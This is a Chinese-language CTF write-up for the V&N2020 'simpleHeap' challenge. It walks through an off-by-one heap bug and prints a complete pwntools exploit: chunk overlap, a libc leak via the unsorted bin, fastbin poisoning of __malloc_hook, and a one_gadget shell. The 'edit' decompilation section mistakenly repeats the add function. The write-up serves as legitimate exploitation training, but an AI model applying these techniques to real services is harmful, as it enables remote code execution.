萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用

查看保护

RELRO为FULL也就是说无法修改got
萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第1张图片

IDA查看

main

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  init_mem();
  puts("Welcome to V&N challange!");
  v3 = "This's a simple heap for you.";
  puts("This's a simple heap for you.");
  while ( 1 )
  {
    menue();
    sub_9EA(v3, a2);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        sub_AFF();
        break;
      case 2u:
        sub_CBB();
        break;
      case 3u:
        sub_D6F();
        break;
      case 4u:
        sub_DF7();
        break;
      case 5u:
        exit(0);
        return;
      default:
        v3 = "Please input current choice.";
        puts("Please input current choice.");
        break;
    }
  }
}

add 功能很简单,根据传入的size malloc内存,notelist保存 note指针,sizelist保存其size

signed int add()
{
  signed int size; // eax
  int index; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  index = get_index();
  if ( index == -1 )
    return puts("Full");
  printf("size?");
  size = read_n();
  v2 = size;
  if ( size > 0 && size <= 111 )
  {
    note_list[index] = malloc(size);
    if ( !note_list[index] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[index] = v2;
    printf("content:");
    read(0, note_list[index], dword_202060[index]);
    size = puts("Done!");
  }
  return size;
}

edit

signed int add()
{
  signed int size; // eax
  int index; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  index = get_index();
  if ( index == -1 )
    return puts("Full");
  printf("size?");
  size = read_n();
  v2 = size;
  if ( size > 0 && size <= 111 )
  {
    note_list[index] = malloc(size);
    if ( !note_list[index] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[index] = v2;
    printf("content:");
    read(0, note_list[index], dword_202060[index]);
    size = puts("Done!");
  }
  return size;
}

edit_n函数,可以看到在判断size时不严谨,导致存在offby one漏洞,

__int64 __fastcall edit_n(__int64 note, int size)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )                          // 存在off by one漏洞
  {
    result = (unsigned int)i;
    if ( i > size )
      break;
    if ( !read(0, (void *)(i + note), 1uLL) )   // 每次读取一个字节进去
      exit(0);
    if ( *(_BYTE *)(i + note) == 10 )           // 如果读入回车,则置为0
    {
      result = i + note;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

show根据传入的idx输出note内容

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = read_n();
  if ( v1 < 0 || v1 > 9 || !note_list[v1] )
    exit(0);
  puts((const char *)note_list[v1]);
  return puts("Done!");
}

delete,指针置0,free掉note指向的内容

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = read_n();
  if ( v1 < 0 || v1 > 9 || !note_list[v1] )
    exit(0);
  free(note_list[v1]);
  note_list[v1] = 0LL;
  dword_202060[v1] = 0;
  return puts("Done!");
}

调试分析

先放出完整exp,下面会详细讲解和调试

#coding=utf-8
from pwn import *

context.log_level='debug'
#sh=process("./vn_pwn_simpleHeap")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh=remote("node3.buuoj.cn",29975)
def add(size,content):
	sh.recvuntil("choice: ")
	sh.sendline(str(1))
	sh.recvuntil("size?")
	sh.sendline(str(size))
	sh.recvuntil("content:")
	sh.send(content)

def edit(idx,content):
	sh.recvuntil("choice: ")
	sh.sendline(str(2))
	sh.recvuntil("idx?")
	sh.sendline(str(idx))
	sh.recvuntil("content:")
	sh.sendline(content)
	sh.recvuntil("Done!")

def show(idx):
	sh.recvuntil("choice: ")
	sh.sendline(str(3))
	sh.recvuntil("idx?")
	sh.sendline(str(idx))

def delete(idx):
	sh.recvuntil("choice: ")
	sh.sendline(str(4))
	sh.recvuntil("idx?")
	sh.sendline(str(idx))
	sh.recvuntil("Done!")

#gdb.attach(sh,"b free")
add(0x18,'a'*0x18)	#idx0
add(0x10,'b'*0x10)	#idx1
add(0x10,'c'*0x10)	#idx2

edit(0,'a'*0x18+p8(0x41))
delete(1)
add(0x30,'e'*0x30) #idx1
#leak libc
edit(1,'a'*0x18+p64(0x91))#溢出修改chunk2的size为0x91
add(0x20,p64(0)*4) #idx3
add(0x30,p64(0)*4+p64(0x90)+p64(0))	#idx4
add(0x18,"A"*0x10)  #idx5
add(0x10,'a'*0x18)	#idx6
add(0x60,'b'*0x10+p64(0x40)+p64(0x21))	#idx7
add(0x60,'c'*0x10)	#idx8
add(0x10,'c'*0x10)	#idx9
edit(5,'z'*0x18+p8(0x41))
delete(6)
add(0x30,'a'*0x18)	#idx6


delete(2)  #将其释放到unsorted bin里,就可以泄漏unsorted bin的地址
delete(1)
add(0x30,'e'*0x20) #idx1
show(1)

libc_base=u64(sh.recv(38)[32:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_daget=libc_base+one_daget_offset[1]

delete(8)
delete(7)       #fast bin chunk7>chunk8 
edit(6,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
add(0x60,'B'*0x10)#get idx7
payload = p8(0)*11
payload += p64(one_daget) #realloc_hook 写入one daget
payload+= p64(libc_base+0x846C0+0xc)#malloc hook 写入
add(0x60,payload)#get   idx8  malloc_hook chunk

sh.recvuntil("choice: ")
sh.sendline(str(1))
sh.recvuntil("size?")
sh.sendline(str(0x10))
sh.interactive()

首先创建三个note,第一个note size为0x18,因为系统在分配内存时,chunk 的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数,4 位系统中,SIZE_SZ 是 8,而且处于使用状态中的chunk会复用下一个chunk的pre_size区域,如下图所示,chunk0占用了chunk1的pre_size区域。

add(0x18,'a'*0x18)	#idx0
add(0x10,'b'*0x10)	#idx1
add(0x10,'c'*0x10)	#idx2

萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第2张图片
根绝上面从IDA反编译出的函数的分析,edit函数存在off by one漏洞,比如下面的代码修改chunk0的时候,可以覆盖chunk1的size,这里我们将chunk1的size改为0x41,然后将其释放,然后再申请0x30大小的chunk,就可以使chunk1和chunk2有重叠的部分,然后我们就可以用通过修改chunk1来修改chunk2的header。

edit(0,'a'*0x18+p8(0x41))
delete(1)
add(0x30,'e'*0x30) #idx1

chunk1的size已被修改
萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第3张图片
再次申请add(0x30,‘e’*0x30),此时chunk1与chunk2就会有重叠的部分
萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第4张图片
我们再通过修改chunk1的内容来修改chunk2的size字段为0x91,使系统再free的时候,将chunk2释放到unsorted bin里面,当unsorted bin里只有一个chunk时,该chunk的fd和bk指针均指向unsorted bin本身,而unsorted bin本身的地址与libc的基址之间的偏移是固定的,所以我们可以借此来泄露libc 基址。

edit(1,'a'*0x18+p64(0x91))   

这两处add,是为了伪造chunk2的next chunk的pre_size域,因为再释放的时候会做检查。glibc在定位一个chunk的net_chunk时,是使用当前chunk_addr+当前chunk_size来实现的。chunk2的大小为0x20(包含chunk header),下面这两个chunk的大小分别为0x30、0x40,如下图所示。

add(0x20,p64(0)*4) #idx3     
add(0x30,p64(0)*4+p64(0x90)+p64(0))	#idx4

萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第5张图片
下面的代码是先malloc chunk便于后面payload构造,这里先申请了idx5,用上面的办法,通过修改chunk5来修改chunk6的的size为0x41


add(0x18,"A"*0x10)  #idx5
add(0x10,'a'*0x10)	#idx6
edit(5,'z'*0x18+p8(0x41))

然后申请chunk7和chunk8,这里构造chunk7的内容,与上面是一样的目的,为了使通过释放chunk6时的安全检查。然后释放chunk6,再次申请chunk6,使chunk6与chunk7的部分内存空间重叠,因为后面chunk7会被释放,所以无法通过修改chunk7来修改chunk7的fd指针,所以需要通过修改chunk6来修改chunk7的fd指针。这里malloc chunk9是为了在释放chunk8的时候不与top chunk合并。

add(0x60,'b'*0x10+p64(0x40)+p64(0x21))	#idx7
add(0x60,'c'*0x10)	#idx8
add(0x10,'c'*0x10)	#idx9  
delete(6)
add(0x30,'a'*0x18)	#idx6

将chunk2释放,使其被放入unsorted bin,以此来泄露libc。这里因为chunk2的pre_size区域有00字段,导致在调用show函数的时候,puts函数会造成截断无法输出unsorted bin的地址,尝试使用edit函数来修改chunk2的pre_size区域,但是edit函数会将回车替换成00,所以我们这里先释放chunk1,然后再申请,add函数在输入内容的时候不会把回车修改为00字符。

delete(2)  #将其释放到unsorted bin里,就可以泄漏unsorted bin的地址
delete(1)
add(0x30,'e'*0x20) #idx1
show(1)
libc_base=u64(sh.recv(38)[32:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_gadget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+one_gadget_offset[1]

先释放chunk8,再释放chunk7,使fast bin 链表结构为chunk7->fd=chunk8 ,修改chunk6来修改chunk7的fd指针为fake_chunk的指针。然后,先malloc 0x60得到chunk8,再次malloc 0x60,系统会认为chunk7->fd指向的地址为空闲的chunk,便会将fake_chunk指向内存空间返还给我们,同时将payload写入。

delete(8)
delete(7)       #fast bin chunk7>chunk8 
edit(6,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
add(0x60,'B'*0x10)#get idx7
payload = p8(0)*11
payload += p64(one_gadget) #realloc_hook 写入one daget
payload+= p64(libc_base+0x846C0+0xc)#malloc hook 写入
add(0x60,payload)#get   idx8  malloc_hook chunk

该payload修改__realloc_hook地址处的内容为one gadget地址,修改malloc_hook地址处的内容为ralloc函数的地址+0xc,这么做是因为one_gadget在使用的时候是有限制的,如下图所示,以libc-2.23.so里面的第二个one gadget为例,在使用此gadget的时候需要[rsp+0x30]=NULL,但是我在实际调试的时候发现,[rsp+0x30]并不为NULL,其他的gadget也一样,导致无法直接修改malloc_hook地址处的内容为one_gadget。[rsp+0x30]!=NULL,所以我们需要将其调整为NULL,参考这个师傅的方法,malloc_hook与realloc_hook是相邻的,所以这里可以通过一次修改达到目的。
萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第6张图片
realloc函数偏移为0x846c0,可以看到前面有很多push操作,通过修改realloc函数的起始地址+offset ,来减少或增加push的此时,来修正[rsp+0x30]为NUL,我们这里offset使用的为0xc,可以达到目的。
萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第7张图片
触发漏洞


sh.recvuntil("choice: ")
sh.sendline(str(1))
sh.recvuntil("size?")
sh.sendline(str(0x10))
sh.interactive()

调用malloc函数---->判断是否有malloc_hook,有则调用之---->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行---->执行realloc函数时,会判断是否有realloc_hook,有则调用之---->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

效果
萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用_第8张图片

你可能感兴趣的:(pwn)